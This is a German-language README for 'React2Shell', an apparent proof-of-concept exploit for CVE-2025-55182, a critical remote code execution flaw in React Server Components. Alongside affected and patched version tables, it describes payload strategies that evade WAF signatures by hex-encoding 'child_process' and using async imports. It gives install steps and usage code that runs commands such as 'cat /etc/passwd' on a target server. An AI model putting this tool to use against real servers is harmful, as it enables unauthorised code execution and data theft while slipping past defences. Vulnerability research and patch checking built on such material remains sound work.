
React2Shell (CVE-2025-55182) Proof-of-Concept (PoC) Exploit, der eine KRITISCHE Remote-Code-Ausführungs-Sicherheitslücke (RCE) in modernen Web-Frameworks demonstriert, die React Server Components (RSC) verwenden.
React2Shell ist ein Proof-of-Concept (PoC)-Exploit, der eine KRITISCHE Remote-Code-Ausführung (RCE)-Sicherheitslücke in modernen Web-Frameworks demonstriert, die React Server Components (RSC) verwenden.
Dieses PoC zielt auf CVE-2025-55182 ab, eine CVSS 10.0-Sicherheitslücke, die es ermöglicht, beliebige Systembefehle durch unsichere Deserialisierung in der React Server Components Implementierung auszuführen.
React2Shell nutzt eine Schwachstelle aus, wie React Server Components während der Rehydrierungsphase nicht vertrauenswürdige Eingaben verarbeiten.
| Metrik | Details |
|---|---|
| Schweregrad | KRITISCH (10.0 / 10.0) |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Angriffsvektor | Netzwerk (Remote) |
| Benutzerinteraktion | Keine |
Die Sicherheitslücke hat ihren Ursprung in den zugrunde liegenden react-server-dom-*-Paketen, die für die Serialisierung und Deserialisierung von Komponentenbäumen verantwortlich sind.
Anwendungen, die betroffene Versionen von React Server Components verwenden, können schädliche Nutzlasten auf eine Weise verarbeiten, die zu Remote-Code-Ausführung (RCE) unter den Berechtigungen des Serverprozesses führt.
Ein Angreifer kann:
Wenn Ihre Bereitstellung einer der unten aufgeführten anfälligen Versionen entspricht und RSC-Endpunkte bereitstellt, sind Sie anfällig.
Die Sicherheitslücke ist in den Versionen 19.0.0, 19.1.0, 19.1.1 und 19.2.0 von:
react-server-dom-parcelreact-server-dom-webpackreact-server-dom-turbopackDiese Pakete werden in mehrere Frameworks integriert, darunter unter anderem:
15.0.0 bis 16.0.614.3.0-canary.76RSC verwenden (v19.0.0–19.2.0), wie:
ViteParcelReact RouterRedwoodSDKWakuJedes Framework, das die anfällige React Server Components Implementierung einbettet, ist potenziell betroffen.
React2Shell enthält einen modularen Payload-Generator, der entwickelt wurde, um gängige Node.js-Einschränkungen und WAF-Regeln zu umgehen:
Standard-Injektion
process.mainModule.requireNext.js/Webpack-Bundles.Async Bypass
import() für strikte ESM-Umgebungen, in denen require nicht verfügbar ist.Verschleierung (Obfuscation)
child_process) in Hex-Puffer, um naive WAF-Signaturen zu umgehen.Modul-Fallback
module.createRequire, um Module in alternativen Kontexten zu laden.Universelles Targeting
//RSC/foo.txtNode.js v18.0.0 oder höher.git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
React2Shell soll als Modul in Ihre eigenen Testskripte importiert werden.
Erstellen Sie eine Datei namens exploit.js:
const React2Shell = require('./src/react2shell');
// Initialize with target base URL
const target = new React2Shell('http://localhost:3000');
// Execute command using the "standard" strategy
// Arguments: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
Dann ausführen:
node exploit.js
Hinweis
endpointsollte auf eine RSC-aktivierte Route gesetzt werden (z.B./,/RSC/foo.txtoder frameworkspezifische RSC-Endpunkte).strategykann geändert werden (z.B.standard,async,obfuscatedoder jede andere inreact2shellimplementierte Strategie).
Waku und andere Frameworks legen die RSC-Verarbeitung oft auf bestimmten Routen offen:
// Target a Waku application
// Note: Use 'async' strategy as Waku often runs in strict ESM
target.execute('ls -la', '/RSC/foo.txt', 'async');
Wenn der Server Zeichenfolgen blockiert, die child_process enthalten, können Sie die obfuscated-Strategie verwenden:
target.execute('cat /etc/passwd', '/', 'obfuscated');
Sofort aktualisieren. Aktualisierte Versionen von React und betroffenen nachgelagerten Frameworks enthalten eine gehärtete Verarbeitung von Benutzereingaben, um unbeabsichtigtes Verhalten zu verhindern.
Alle Benutzer sollten so schnell wie möglich auf eine gepatchte Version aktualisieren.
Nachfolgend finden Sie die endgültige Liste der gepatchten Versionen. Wenn Ihre bereitgestellte Version niedriger ist, sind Sie anfällig.
| Software / Paket | Branch / Typ | 🛡️ Behobene / Sichere Version(en) |
|---|---|---|
React | Stabil | 19.0.1, 19.1.2, 19.2.1 |
Next.js | v15 (Stabil) | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 |
Next.js | v16 (Stabil) | 16.0.7 |
Next.js | Canary | 15.6.0-canary.58 |
Warnung für Next.js 14-Benutzer
Wenn SieNext.js 14.3.0-canary.77oder eine spätere Canary-Version verwenden, sind Sieanfällig.
Sie müssen sofort auf die neueste stabile14.x-Version downgraden, da die Sicherheitslücke die experimentelle RSC-Implementierung in diesen Canary-Builds betrifft.
Dieses Projekt wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Die Verwendung dieses Tools gegen Systeme ohne ausdrückliche Genehmigung ist illegal und unethisch.
Der/die Autor(en) übernehmen keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Informationen finden Sie in der LICENSE-Datei.